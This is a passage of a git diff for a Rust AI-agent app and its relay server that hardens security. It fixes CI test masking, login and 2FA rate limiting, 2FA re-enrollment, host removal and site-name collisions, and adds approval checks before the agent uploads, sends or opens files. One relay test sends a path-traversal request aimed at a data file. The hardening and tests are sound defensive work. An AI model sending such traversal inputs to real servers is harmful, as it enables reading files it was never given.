diff --git a/.gitea/workflows/ci.yml b/.gitea/workflows/ci.yml index 74cc80d..871a2d7 100644 --- a/.gitea/workflows/ci.yml +++ b/.gitea/workflows/ci.yml @@ -26,7 +26,11 @@ jobs: - name: Build run: cargo build --bin anybot - name: Test - run: cargo test --bin anybot -- --skip live 2>&1 | tail -5 + # The step fails when a test fails (piped straight into `tail`, its result was + # tail's: always a pass). The end of the log is shown either way. + run: | + cargo test --bin anybot -- --skip live > "${RUNNER_TEMP:-/tmp}/test.log" 2>&1 || { tail -n 80 "${RUNNER_TEMP:-/tmp}/test.log"; exit 1; } + tail -n 5 "${RUNNER_TEMP:-/tmp}/test.log" - name: Clippy (report only) run: cargo clippy --bin anybot 2>&1 | tail -30 - name: Relay build and test diff --git a/.gitea/workflows/release.yml b/.gitea/workflows/release.yml index 496d65a..e3ad84f 100644 --- a/.gitea/workflows/release.yml +++ b/.gitea/workflows/release.yml @@ -25,7 +25,10 @@ jobs: cargo build --release --bin anybot cd relay && cargo build --release - name: Test - run: cargo test --release --bin anybot -- --skip live 2>&1 | tail -3 + # A failing test stops the release (piped straight into `tail`, it never did). + run: | + cargo test --release --bin anybot -- --skip live > "${RUNNER_TEMP:-/tmp}/test.log" 2>&1 || { tail -n 80 "${RUNNER_TEMP:-/tmp}/test.log"; exit 1; } + tail -n 3 "${RUNNER_TEMP:-/tmp}/test.log" - name: Package run: sh deploy/ci/package-linux.sh "${GITHUB_REF_NAME#v}" - name: Upload diff --git a/Cargo.lock b/Cargo.lock index e9df6ac..ab1efff 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -349,6 +349,7 @@ dependencies = [ "des", "dirs", "eframe", + "encoding_rs", "flate2", "futures-lite", "hayro", diff --git a/Cargo.toml b/Cargo.toml index 4111d6a..b0d77bb 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -14,6 +14,8 @@ path = "src/main.rs" zhconv = "0.4" eframe = "0.37" ureq = { version = "3", features = ["json"] } +# Web pages that are not UTF-8 (Big5, GBK, Shift_JIS…), read as what they say they are. +encoding_rs = "0.8" # 長連線 to the account server (WebSocket over the same TLS ureq uses), and compressing what goes over it. rustls = { version = "0.23", default-features = false, features = ["ring", "std", "tls12", "logging"] } # Which certificates the account server may show: the public ones (built in), plus the ones this diff --git a/deploy/ci/server-compose.yml b/deploy/ci/server-compose.yml index 46b60f6..a42caa0 100644 --- a/deploy/ci/server-compose.yml +++ b/deploy/ci/server-compose.yml @@ -24,6 +24,10 @@ services: # Your public address (for the links of sites the bots publish), e.g. https://anybot.example.com ANYBOT_RELAY_PUBLIC_URL: "${ANYBOT_RELAY_PUBLIC_URL:-}" ANYBOT_RELAY_INVITE: "${ANYBOT_RELAY_INVITE:-}" + # Caddy (or `tailscale serve`) is in front: the caller's address is the one it reports. + # Without this every login attempt counts as coming from the proxy, and a few wrong + # passwords from anyone lock that account for everyone. + RELAY_TRUST_PROXY: "1" volumes: - relay-data:/data caddy: diff --git a/deploy/linux/dev/test.sh b/deploy/linux/dev/test.sh index c9e82e9..e8299d5 100755 --- a/deploy/linux/dev/test.sh +++ b/deploy/linux/dev/test.sh @@ -14,8 +14,14 @@ cargo build --release 2>&1 | grep -E "^(error|warning)" -A7 || true Xvfb :99 -screen 0 1400x900x24 >/dev/null 2>&1 & export DISPLAY=:99 LANG=zh_TW.UTF-8 sleep 1 -cargo test --release 2>&1 | grep -E "test result|FAILED|panicked" -cargo test --release x11_live -- --ignored 2>&1 | grep -E "test result|panicked" +# (A failing test stops here: piped straight into grep, the result was the one grep gave.) +run_tests() { + cargo test --release "$@" >/tmp/anybot-test.log 2>&1 && rc=0 || rc=$? + grep -E "test result|FAILED|panicked" /tmp/anybot-test.log || true + return $rc +} +run_tests +run_tests x11_live -- --ignored useradd -m t 2>/dev/null; chmod 777 /out runuser -u t -- env CARGO_TARGET_DIR=/target HOME=/home/t sh deploy/linux/dev/wayland_live.sh 2>&1 | sed -n "/--- wev heard/,\$p" for v in chat computers general; do diff --git a/deploy/server/docker-compose.yml b/deploy/server/docker-compose.yml index ebfe528..a9d3d78 100644 --- a/deploy/server/docker-compose.yml +++ b/deploy/server/docker-compose.yml @@ -24,6 +24,10 @@ services: # Your public address (for the links of sites the bots publish), e.g. https://anybot.example.com ANYBOT_RELAY_PUBLIC_URL: "${ANYBOT_RELAY_PUBLIC_URL:-}" ANYBOT_RELAY_INVITE: "${ANYBOT_RELAY_INVITE:-}" + # Caddy (or `tailscale serve`) is in front: the caller's address is the one it reports. + # Without this every login attempt counts as coming from the proxy, and a few wrong + # passwords from anyone lock that account for everyone. + RELAY_TRUST_PROXY: "1" volumes: - relay-data:/data caddy: diff --git a/relay/README.md b/relay/README.md index dd8e1c8..261c452 100644 --- a/relay/README.md +++ b/relay/README.md @@ -53,6 +53,7 @@ cd relay && cargo build --release | `ANYBOT_RELAY_INVITE` | 第二個以後的帳號要填的邀請碼。空白表示不開放註冊 | | `ANYBOT_RELAY_CONTACT` | 推播服務需要的聯絡方式,例如 `mailto:你@你的網域` 或 `https://你的網域` | | `ANYBOT_RELAY_PUBLIC_URL` | 對外的網址,例如 `https://anybot.你的網域`。Bot 發布網站後,會拿這個組成網址告訴你 | +| `RELAY_TRUST_PROXY` | 前面有反向代理(Caddy、nginx、`tailscale serve`)時設成 `1`:登入失敗的鎖定會依代理回報的來源位址計算。沒設的話,所有人都算成代理的位址,任何人連續輸錯密碼就會把那個帳號鎖住。只有在外部連不到這個連接埠、只能經過代理時才設(附的 `docker-compose.yml` 已經設好) | | `PORT` | 連接埠,預設 8080,也可以用 `--port` 指定 | ## 家裡的電腦加 Tailscale(不用網域) diff --git a/relay/docker-compose.yml b/relay/docker-compose.yml index 94ee94f..e5240ff 100644 --- a/relay/docker-compose.yml +++ b/relay/docker-compose.yml @@ -10,6 +10,10 @@ services: # Your public address (for the links of sites the bots publish), e.g. https://anybot.example.com ANYBOT_RELAY_PUBLIC_URL: "${ANYBOT_RELAY_PUBLIC_URL:-}" ANYBOT_RELAY_INVITE: "" + # Caddy is in front (nothing else reaches this container): the caller's address is the one + # Caddy reports. Without this every login attempt counts as coming from Caddy, and a few + # wrong passwords from anyone lock that account for everyone. + RELAY_TRUST_PROXY: "1" volumes: - relay-data:/data caddy: diff --git a/relay/src/main.rs b/relay/src/main.rs index 050b12e..595589a 100644 --- a/relay/src/main.rs +++ b/relay/src/main.rs @@ -58,6 +58,10 @@ const ONLINE_SECS: u64 = 60; /// Sessions last this long without use. const SESSION_DAYS: i64 = 90; const MAX_FAILS: u32 = 8; +/// Wrong-password counters kept at once (each a short key: an address and at most +/// FAIL_NAME_CHARS of the name). +const MAX_FAIL_KEYS: usize = 50_000; +const FAIL_NAME_CHARS: usize = 64; #[derive(Clone, Serialize, Deserialize, Default)] struct User { @@ -72,6 +76,10 @@ struct User { /// sha256 of each unused recovery code (8 are handed out once, at enabling). #[serde(default)] recover: Vec, + /// The recovery codes handed out with `totp_pending`: they take the place of `recover` + /// only when the new secret is proven. + #[serde(default)] + recover_pending: Vec, } #[derive(Clone, Serialize, Deserialize, Default)] @@ -130,6 +138,9 @@ struct Data { /// Phones that turned notifications on. #[serde(default)] subs: Vec, + /// 發布網站: each published site's folder name → the account it belongs to. + #[serde(default)] + sites: HashMap, } const SW: &str = r#"self.addEventListener("install", () => self.skipWaiting()); @@ -301,6 +312,19 @@ impl Relay { d.hosts.iter().find(|x| x.token_hash == h).cloned() } + /// A host whose registration is gone: its open connection is told so and let go. + fn hang_up(&self, id: &str) { + if let Some(s) = self.sockets.lock().unwrap().remove(id) { + let _ = s.tx.send(wire::pack(&json!({"t": "bye"}), &[])); + } + } + + /// This host is still one of an account's computers (its key was not replaced or removed + /// since it connected). + fn still_registered(&self, h: &Host) -> bool { + self.data.lock().unwrap().hosts.iter().any(|x| x.id == h.id && x.token_hash == h.token_hash) + } + fn online(&self, id: &str) -> bool { self.sockets.lock().unwrap().contains_key(id) || self.seen.lock().unwrap().get(id).map(|t| t.elapsed().as_secs() < ONLINE_SECS).unwrap_or(false) } @@ -312,6 +336,15 @@ impl Relay { fn failed(&self, key: &str) { let mut f = self.fails.lock().unwrap(); + // Anyone can fail, under any name, without signing in: the table lets go of what is + // past its five minutes, and past the cap of everything (it only grew; with names of + // any length it was this server's memory for the asking). + if f.len() >= MAX_FAIL_KEYS { + f.retain(|_, (_, t)| t.elapsed() < Duration::from_secs(300)); + if f.len() >= MAX_FAIL_KEYS { + f.clear(); + } + } let e = f.entry(key.to_string()).or_insert((0, Instant::now())); if e.1.elapsed() > Duration::from_secs(300) { *e = (0, Instant::now()); @@ -519,6 +552,10 @@ impl Relay { } if marked.elapsed().as_secs() >= 10 { marked = Instant::now(); + // Taken off the account while connected: the connection ends here. + if !self.still_registered(&h) { + break; + } self.seen.lock().unwrap().insert(h.id.clone(), Instant::now()); } } @@ -582,7 +619,9 @@ impl Relay { let _ = tx.send(wire::pack(&json!({"t": "ret", "id": id, "status": a.status, "ctype": a.ctype}), &a.body)); return; }; - let same = self.data.lock().unwrap().hosts.iter().any(|x| x.id == to && x.user == h.user); + // (The asker too must still be one of the account's computers: `h` is who it + // was when it connected.) + let same = self.still_registered(h) && self.data.lock().unwrap().hosts.iter().any(|x| x.id == to && x.user == h.user); if !same || to == h.id { let a = Answer::error(403, "不是同一個帳號的電腦"); let _ = tx.send(wire::pack(&json!({"t": "ret", "id": id, "status": a.status, "ctype": a.ctype}), &a.body)); @@ -748,7 +787,9 @@ impl Relay { Resp::json(&json!({"code": code, "expires_in": PAIR_SECS})) } ("POST", ["relay", "pair", "claim"]) => { - let key = format!("pair:{}", req.peer); + // (The real peer, like the login: behind the proxy every claim came from the + // proxy's address, and eight wrong codes from anyone stopped pairing for all.) + let key = format!("pair:{}", Self::peer_ip(&req)); if self.too_many_fails(&key) { return Resp::error(429, "配對碼錯太多次,請 5 分鐘後再試"); } @@ -770,9 +811,18 @@ impl Relay { } ("POST", ["relay", "hosts", id, "remove"]) => { let Some(user) = self.session(&req) else { return Resp::error(401, "請先登入") }; - let mut d = self.data.lock().unwrap(); - d.hosts.retain(|x| !(x.user == user && x.id == *id)); - self.save(&d); + let removed = { + let mut d = self.data.lock().unwrap(); + let before = d.hosts.len(); + d.hosts.retain(|x| !(x.user == user && x.id == *id)); + self.save(&d); + before != d.hosts.len() + }; + // Its open connection goes with it (a computer taken off the list — lost, + // sold — stayed connected, and kept asking the account's other computers). + if removed { + self.hang_up(id); + } Resp::json(&json!({"ok": true})) } ("GET", ["relay", "host", "next"]) => { @@ -839,8 +889,27 @@ impl Relay { let site = format!("{}-{name}", h.user.replace(|c: char| !c.is_ascii_alphanumeric(), "-")); let dir = self.dir.join("sites").join(&site); let v = req.json(); + let remove = v["remove"].as_bool() == Some(true); + // Two accounts can come to the same folder name (「a.b」 and 「a-b」; 「a」 with + // the site 「b-c」 and 「a-b」 with 「c」): the folder is the first one's, and the + // other is told — it used to replace (or delete) the first one's pages. + { + let mut d = self.data.lock().unwrap(); + match d.sites.get(&site) { + Some(owner) if *owner != h.user => return Resp::error(409, "這個網站名稱和別的帳號的網站撞名了,請換一個名稱"), + Some(_) if remove => { + d.sites.remove(&site); + self.save(&d); + } + None if !remove => { + d.sites.insert(site.clone(), h.user.clone()); + self.save(&d); + } + _ => {} + } + } let _ = std::fs::remove_dir_all(&dir); - if v["remove"].as_bool() == Some(true) { + if remove { return Resp::json(&json!({"ok": true})); } let mut n = 0; @@ -907,9 +976,7 @@ impl Relay { self.save(&d); } // Its open connection is closed, so it hears "the key is gone" at once. - if let Some(s) = self.sockets.lock().unwrap().remove(&h.id) { - let _ = s.tx.send(wire::pack(&json!({"t": "bye"}), &[])); - } + self.hang_up(&h.id); Resp::json(&json!({"ok": true})) } ("PUT", ["relay", "backup"]) => { @@ -1014,11 +1081,8 @@ impl Relay { // Rate-limit by the real peer. A client writes its own first X-Forwarded-For entry, so // taking the first value lets anyone reset the counter by changing the header. Only when // RELAY_TRUST_PROXY=1 (behind a reverse proxy) use the proxy's appended (last) entry. - let ip = match (std::env::var("RELAY_TRUST_PROXY").is_ok(), req.header("x-forwarded-for")) { - (true, xff) if !xff.is_empty() => xff.rsplit(',').next().unwrap_or(xff).trim().to_string(), - _ => req.peer.clone(), - }; - let key = format!("{ip}|{user}"); + let ip = Self::peer_ip(req); + let key = format!("{ip}|{}", user.chars().take(FAIL_NAME_CHARS).collect::()); if self.too_many_fails(&key) { return Resp::error(429, "密碼錯太多次,請 5 分鐘後再試"); } @@ -1056,7 +1120,8 @@ impl Relay { fn peer_ip(req: &Req) -> String { match (std::env::var("RELAY_TRUST_PROXY").is_ok(), req.header("x-forwarded-for")) { - (true, xff) if !xff.is_empty() => xff.rsplit(',').next().unwrap_or(xff).trim().to_string(), + // (Kept short: it is a key in the table of failures.) + (true, xff) if !xff.is_empty() => xff.rsplit(',').next().unwrap_or(xff).trim().chars().take(64).collect(), _ => req.peer.clone(), } } @@ -1076,7 +1141,7 @@ impl Relay { if made.elapsed() > Duration::from_secs(300) { return Resp::error(400, "這次登入已過期,請重新輸入密碼"); } - let key = format!("2fa|{}|{user}", Self::peer_ip(req)); + let key = format!("2fa|{}|{}", Self::peer_ip(req), user.chars().take(FAIL_NAME_CHARS).collect::()); if self.too_many_fails(&key) { return Resp::error(429, "驗證碼錯太多次,請 5 分鐘後再試"); } @@ -1115,11 +1180,31 @@ impl Relay { } if let Some(u) = d.users.iter_mut().find(|u| u.name == user) { u.totp = std::mem::take(&mut u.totp_pending); + // The codes that came with this secret (an enrollment started by an older server + // put them in `recover` already). + if !u.recover_pending.is_empty() { + u.recover = std::mem::take(&mut u.recover_pending); + } } self.save(&d); Resp::json(&json!({"ok": true})) } + /// With 2FA on, changing or removing it takes the code of the authenticator that is on — + /// a session alone must not do it — and guessing that code is counted like a login's. + /// None: go on. Some: the refusal. + fn second_factor_proven(&self, user: &str, secret: &str, code: &str) -> Option { + let key = format!("2fa-change|{}", user.chars().take(FAIL_NAME_CHARS).collect::()); + if self.too_many_fails(&key) { + return Some(Resp::error(429, "驗證碼錯太多次,請 5 分鐘後再試")); + } + if httpd::totp_check(secret, code.trim()) { + return None; + } + self.failed(&key); + Some(Resp::error(401, "驗證碼不對:輸入驗證器 App 上現在的那個六位數")) + } + /// Start 2FA: a new secret (the app scans the QR) and eight recovery codes, shown once, /// stored hashed. 2FA is not on until verify_2fa has seen a real code. fn enroll_2fa(&self, req: &Req) -> Resp { @@ -1128,8 +1213,21 @@ impl Relay { let codes: Vec = (0..8).map(|_| httpd::random_hex(5)).collect(); let mut d = self.data.lock().unwrap(); let Some(u) = d.users.iter_mut().find(|u| u.name == user) else { return Resp::error(404, "帳號不存在") }; + // Already on: a new secret is a new second factor, so it takes the present one's code. + // (A session by itself — a phone left unlocked, a stolen token — could start over, + // prove its own new secret, and the account's owner was locked out of it. Starting + // over also threw the recovery codes away before anything was proven.) + if !u.totp.is_empty() { + let (current, code) = (u.totp.clone(), req.json()["code"].as_str().unwrap_or("").to_string()); + drop(d); + if let Some(no) = self.second_factor_proven(&user, ¤t, &code) { + return no; + } + d = self.data.lock().unwrap(); + } + let Some(u) = d.users.iter_mut().find(|u| u.name == user) else { return Resp::error(404, "帳號不存在") }; u.totp_pending = secret.clone(); - u.recover = codes.iter().map(|c| httpd::sha256_hex(c)).collect(); + u.recover_pending = codes.iter().map(|c| httpd::sha256_hex(c)).collect(); self.save(&d); Resp::json(&json!({"secret": secret, "uri": httpd::totp_uri(&secret, &user), "recovery_codes": codes})) } @@ -1143,12 +1241,17 @@ impl Relay { if u.totp.is_empty() { return Resp::json(&json!({"ok": true})); } - if !httpd::totp_check(&u.totp, &code) { - return Resp::error(401, "驗證碼不對"); + let current = u.totp.clone(); + drop(d); + if let Some(no) = self.second_factor_proven(&user, ¤t, &code) { + return no; } + let mut d = self.data.lock().unwrap(); + let Some(u) = d.users.iter_mut().find(|u| u.name == user) else { return Resp::error(404, "帳號不存在") }; u.totp.clear(); u.totp_pending.clear(); u.recover.clear(); + u.recover_pending.clear(); self.save(&d); Resp::json(&json!({"ok": true})) } @@ -1343,6 +1446,14 @@ mod tests { assert!(v["uri"].as_str().unwrap().starts_with("otpauth://totp/AnyBot:d2?secret=")); assert_eq!(post(port, "/relay/2fa/verify", &s, json!({"code": "000000"})).0, 401); assert_eq!(post(port, "/relay/2fa/verify", &s, json!({"code": httpd::totp_code(&secret, step_now())})).0, 200); + // On: a session alone can't put another secret in its place (nor throw the recovery + // codes away by trying) — that takes the code of the one that is on. + assert_eq!(post(port, "/relay/2fa/enroll", &s, json!({})).0, 401); + assert_eq!(post(port, "/relay/2fa/enroll", &s, json!({"code": "000000"})).0, 401); + let (st, again) = post(port, "/relay/2fa/enroll", &s, json!({"code": httpd::totp_code(&secret, step_now())})); + assert_eq!(st, 200); + // …and until the new one is proven, the old secret and its recovery codes stand. + assert_ne!(again["secret"], json!(secret)); // Password alone no longer signs in: it buys a challenge, the code signs in. post(port, "/relay/logout", &s, json!({})); let (_, v) = post(port, "/relay/login", "", json!({"user": "d2", "password": "12345678", "device": "phone"})); @@ -1504,6 +1615,21 @@ mod tests { assert_eq!(get(port, "/s/boss-trip/../../data.json", "").0, 404); assert!(!dir.join("evil").exists() && !dir.join("sites").join("evil").exists()); assert_eq!(post(port, "/relay/host/sites/Bad_Name", &ht, json!({})).0, 400); + // Another account whose name and site come to the same folder (「boss-trip」): told + // so, and the first one's pages stay (it can't delete them either). + relay.data.lock().unwrap().users.push(User { name: "boss-trip".into(), pass: httpd::hash_password("12345678"), ..Default::default() }); + let (other, other_key) = relay.add_host("boss-trip", "n"); + assert_eq!(other.user, "boss-trip"); + let (st, _) = post(port, "/relay/host/sites/x", &other_key, json!({"files": [{"path": "index.html", "data": b("mine")}]})); + assert_eq!(st, 200, "its own names are its own"); + let (st, _) = post(port, "/relay/host/sites/trip-x", &ht, json!({"files": [{"path": "index.html", "data": b("taken over")}]})); + assert_eq!(st, 409, "boss + trip-x is boss-trip + x"); + assert_eq!(post(port, "/relay/host/sites/trip-x", &ht, json!({"remove": true})).0, 409); + let mut r = agent.get(&format!("http://127.0.0.1:{port}/s/boss-trip-x/")).call().unwrap(); + assert_eq!(r.body_mut().read_to_string().unwrap(), "mine"); + // Its owner takes it down, and the name is free again. + assert_eq!(post(port, "/relay/host/sites/x", &other_key, json!({"remove": true})).0, 200); + assert_eq!(post(port, "/relay/host/sites/trip-x", &ht, json!({"files": [{"path": "index.html", "data": b("now mine")}]})).0, 200); let _ = std::fs::remove_dir_all(&dir); } @@ -1600,6 +1726,16 @@ mod tests { assert_eq!(post(port, "/relay/host/remove", &mtoken, json!({})).0, 200); let hosts: Value = serde_json::from_slice(&get(port, "/relay/host/peers", &btoken).1).unwrap(); assert_eq!(hosts["hosts"].as_array().map(|a| a.len()), Some(2)); + // Taken off the list from the phone while it is connected: its connection is told to + // go, and what it still asks through it is refused. + let hands = relay.data.lock().unwrap().hosts.iter().find(|h| h.id == hid).cloned().unwrap(); + let (wtx, wrx) = channel::>(); + relay.sockets.lock().unwrap().insert(hid.clone(), Sock { tx: wtx, serial: 0 }); + assert!(relay.still_registered(&hands)); + assert_eq!(post(port, &format!("/relay/hosts/{hid}/remove"), &s, json!({})).0, 200); + assert!(!relay.sockets.lock().unwrap().contains_key(&hid)); + assert_eq!(wire::unpack(&wrx.try_recv().unwrap()).unwrap().0["t"], "bye"); + assert!(!relay.still_registered(&hands)); let _ = std::fs::remove_dir_all(&dir); } @@ -1631,6 +1767,15 @@ mod tests { .send(json!({"user": "boss", "password": "12345678"}).to_string().as_bytes()) .unwrap(); assert_eq!(rr.status().as_u16(), 429); + // The table of failures stays bounded, whatever names are tried and however long. + for i in 0..MAX_FAIL_KEYS + 10 { + relay.failed(&format!("203.0.113.9|nobody-{i}")); + } + assert!(relay.fails.lock().unwrap().len() <= MAX_FAIL_KEYS); + let long = "x".repeat(100_000); + let mut rr = agent.post(&format!("http://127.0.0.1:{port}/relay/login")).send(json!({"user": long, "password": "p"}).to_string().as_bytes()).unwrap(); + let _ = rr.body_mut().read_to_string(); + assert!(relay.fails.lock().unwrap().keys().all(|k| k.len() < 200)); let _ = std::fs::remove_dir_all(&dir); } } diff --git a/src/agent.rs b/src/agent.rs index 5fabc78..518c597 100644 --- a/src/agent.rs +++ b/src/agent.rs @@ -1261,6 +1261,64 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc< // …and neither does AnyBot's own browser (like the reference assistant's own browser). let at = web::is_web_tool(&call.name).then(|| browser_place(&job, &call.name, &call.args)); if let Some((place, on)) = at.filter(|(place, _)| call.name == "web_fetch" || bots_browser(place, &call.name, &call.args)) { + // 上傳: a file of this computer on its way to a web page is read on the way, + // like one on its way into the chat (the bot's browser asks nothing else, and + // any file here could be put on any page). What the person attached for this + // bot goes as it is. The path is made whole here, so the browser takes the + // very file that was checked. + let mut call_args = call.args.clone(); + if call.name == "browser_upload" && matches!(place, BrowserAt::Here) { + let path = tools::args_of(&call.args)["path"].as_str().unwrap_or("").to_string(); + let here = job.computers.iter().find(|t| matches!(t.place, tools::Place::Local { .. })).cloned().unwrap_or_else(|| tools::Target { + name: crate::model::THIS_COMPUTER_NAME.into(), + // (Not one of this bot's computers: nothing on it is "inside".) + place: tools::Place::Local { workdir: std::env::temp_dir().join("anybot-no-work-folder") }, + }); + let named = match &here.place { + tools::Place::Local { workdir } => tools::resolve(workdir, &path), + _ => std::path::PathBuf::from(&path), + }; + let direct = job.direct.load(Ordering::Relaxed); + let decision = if crate::attach::is_given(bot_id, &named) { + Decision::Allow + } else if job.local_locked { + Decision::Deny(format!("「在這台電腦上執行」設成了永不允許(或被管理員關閉),不能上傳「{}」上的檔案。", here.name)) + } else { + match tools::decide_file_out(&here, &path, &grants) { + Decision::Allow if !direct && !(tools_on && local_on) => Decision::Ask { reason: format!("把「{}」上的檔案上傳到網頁:{}", here.name, named.display()), grant: String::new() }, + Decision::Ask { .. } if direct => Decision::Allow, + Decision::Ask { grant, .. } => Decision::Ask { reason: format!("把工作資料夾以外的檔案上傳到網頁:{}", named.display()), grant }, + d => d, + } + }; + let refused = match decision { + Decision::Allow => None, + Decision::Deny(r) => Some(format!("被安全規則擋下:{r}")), + Decision::Ask { reason, grant } => { + let (atx, arx) = channel(); + send(StreamEvent::ToolStatus(call.id.clone(), ToolStatus::Waiting)); + send(StreamEvent::NeedApproval(Approval { call_id: call.id.clone(), tool: call.name.clone(), reason: format!("{reason}\n(在 {} 上)", here.name), grant, reply: atx, kind: ApprovalKind::Action })); + match wait_answer(arx, &cancel) { + ApprovalAnswer::Once => None, + ApprovalAnswer::Always(g) => { + keep_grant(&mut grants, g); + None + } + ApprovalAnswer::Reject => Some("使用者拒絕了這個操作。請不要再試同樣的操作,改問使用者想怎麼做。".to_string()), + } + } + }; + if cancel.load(Ordering::Relaxed) { + return; + } + if let Some(output) = refused { + finish(&mut history, &output, ToolStatus::Denied, None); + continue; + } + let mut v = tools::args_of(&call.args); + v["path"] = serde_json::Value::String(named.display().to_string()); + call_args = v.to_string(); + } started(); if call.name != "web_fetch" { let profile = tools::args_of(&call.args).get("profile").and_then(|p| p.as_str()).unwrap_or("").trim().to_string(); @@ -1272,7 +1330,7 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc< } // 裝置連結: the AnyBot browser of another computer (its own logins). // (On this job's own tabs: another bot may be using the same browser.) - let args = with_job(&call.args, &browsers.job); + let args = with_job(&call_args, &browsers.job); let (output, ok, img) = match place { BrowserAt::Device(host) => match crate::remote::run_on_device(&host, &call.name, &args, &job.via_name) { Ok(v) => (v["text"].as_str().unwrap_or("").to_string(), v["ok"].as_bool().unwrap_or(false), v["image"].as_str().map(String::from)), @@ -1356,6 +1414,50 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc< finish(&mut history, &format!("已在使用者的訊息上按了 {emoji}。"), ToolStatus::Done, None); continue; } + // A file on its way out of a computer (into the chat, onto the person's screen) is + // read on the way: read_file's walls and read_file's questions, before either + // tool below touches it. Both used to run with no check but the secrets list. + // (A web address isn't a file.) + if call.name == "send_file" || call.name == "open_for_person" { + let path = tools::args_of(&call.args)["path"].as_str().unwrap_or("").to_string(); + let web = call.name == "open_for_person" && (path.starts_with("http://") || path.starts_with("https://")); + if let (false, Ok(t)) = (web, target_for(&job, &call.args)) { + let direct = job.direct.load(Ordering::Relaxed); + let local = matches!(t.place, tools::Place::Local { .. }); + let refused: Option<(String, ToolStatus)> = if local && job.local_locked { + Some((format!("「在這台電腦上執行」設成了永不允許(或被管理員關閉),不能拿「{}」上的檔案。請改用「{}」。", t.name, job.roles.own), ToolStatus::Denied)) + } else { + let decision = match tools::decide_file_out(&t, &path, &grants) { + // Using this computer is switched off: its files are asked for one by one. + Decision::Allow if local && !direct && !(tools_on && local_on) => { + Decision::Ask { reason: format!("{}「{}」上的檔案:{what}", if call.name == "send_file" { "把檔案傳到聊天,來自" } else { "在你的螢幕上打開" }, t.name), grant: String::new() } + } + // 直接操作 goes ahead where reading the file would. + Decision::Ask { .. } if direct => Decision::Allow, + d => d, + }; + match decision { + Decision::Allow => None, + Decision::Deny(r) => Some((format!("被安全規則擋下:{r}"), ToolStatus::Denied)), + Decision::Ask { reason, grant } => match ask_person(ApprovalKind::Action, format!("{reason}\n(在 {} 上)", t.name), grant) { + ApprovalAnswer::Once => None, + ApprovalAnswer::Always(g) => { + keep_grant(&mut grants, g); + None + } + ApprovalAnswer::Reject => Some(("使用者拒絕了這個操作。請不要再試同樣的操作,改問使用者想怎麼做。".to_string(), ToolStatus::Denied)), + }, + } + }; + if cancel.load(Ordering::Relaxed) { + return; + } + if let Some((output, status)) = refused { + finish(&mut history, &output, status, None); + continue; + } + } + } // 傳檔案: put a file the bot made into the chat as a card the person can open. if call.name == "send_file" { started(); @@ -1405,6 +1507,7 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc< started(); let v = tools::args_of(&call.args); let path = v["path"].as_str().unwrap_or("").to_string(); + let web = path.starts_with("http://") || path.starts_with("https://"); let on_box = match target_for(&job, &call.args) { Ok(t) => match t.place { tools::Place::Box { dir } => Some(if path.starts_with('/') { path.clone() } else { format!("{dir}/{path}") }), @@ -1420,7 +1523,6 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc< _ => None, }); if job.roles.server { - let web = path.starts_with("http://") || path.starts_with("https://"); let (output, ok) = match (&person_host, web) { (Some(host), true) => match crate::remote::run_on_device(host, "browser_open", &serde_json::json!({"url": path}).to_string(), &job.via_name) { Ok(v) => (format!("[{}] {}", person_now.clone().unwrap_or_default(), v["text"].as_str().unwrap_or("")), v["ok"].as_bool().unwrap_or(false)), @@ -1433,14 +1535,25 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc< continue; } let local = match (&on_box, target_for(&job, &call.args)) { + // A web address is the same address on every computer. (It came after the + // file cases, which turned it into a path inside the work folder.) + _ if web => Ok(std::path::PathBuf::from(&path)), (Some(p), _) => crate::cloudbox::copy_out(p), (None, Ok(tools::Target { place: tools::Place::Sealed { root }, .. })) => Ok(tools::resolve(&root, &path)), (None, Ok(tools::Target { place: tools::Place::Local { workdir }, .. })) => Ok(tools::resolve(&workdir, &path)), - (None, _) if path.starts_with("http://") || path.starts_with("https://") => Ok(std::path::PathBuf::from(&path)), _ => Err(format!("這台電腦上的檔案不能直接打開給使用者看,請先複製到「{}」或這台電腦。", job.roles.own)), }; // Secrets never open on the person's screen either. let local = local.and_then(|p| if tools::is_ignored(&p) || tools::is_ignored(std::path::Path::new(&path)) { Err("這個檔案是機密的,不能打開。".to_string()) } else { Ok(p) }); + // Showing is not running: a script or an app would start on the person's + // computer, outside every sandbox, the moment it is opened. + let local = local.and_then(|p| { + if !web && crate::preview::runs_when_opened(&p) { + Err("這是程式或指令檔,打開就會在使用者的電腦上執行,所以不能用 open_for_person 打開。要給使用者看內容,用 send_file 傳到聊天裡。".to_string()) + } else { + Ok(p) + } + }); let (output, ok) = match local { Ok(p) if p.exists() || path.starts_with("http") => match crate::preview::system_open(&p).status() { Ok(st) if st.success() => (format!("已在使用者的螢幕上打開 {}。", p.display()), true), @@ -1478,9 +1591,27 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc< let path = v["path"].as_str().unwrap_or("").to_string(); let name = v["name"].as_str().unwrap_or("").trim().to_lowercase(); let grant = format!("publish:{name}"); - let mut allowed = grants.contains(&grant); + // What goes on the public web is read first, with read_file's walls: a + // secret never, a sealed bot nothing outside its folder. 「一律允許」 is for a + // site made in the work folder; from anywhere else (it used to cover any + // folder on the computer) the person is asked each time. + let walls = match target_for(&job, &call.args) { + Ok(t) if matches!(t.place, tools::Place::Local { .. }) && job.local_locked => { + Decision::Deny(format!("「在這台電腦上執行」設成了永不允許(或被管理員關閉),不能發布「{}」上的檔案。", t.name)) + } + Ok(t) => tools::decide_file_out(&t, &path, &[]), + Err(_) => Decision::Allow, + }; + if let Decision::Deny(r) = walls { + finish(&mut history, &format!("被安全規則擋下:{r}"), ToolStatus::Denied, None); + continue; + } + let outside = matches!(walls, Decision::Ask { .. }); + let grant = if outside { String::new() } else { grant }; + let mut allowed = !outside && grants.contains(&grant); if !allowed { - match ask_person(ApprovalKind::Action, format!("把 {path} 發布成公開網站「{name}」(任何知道網址的人都看得到)"), grant.clone()) { + let from = if outside { "(在工作資料夾以外)" } else { "" }; + match ask_person(ApprovalKind::Action, format!("把 {path}{from} 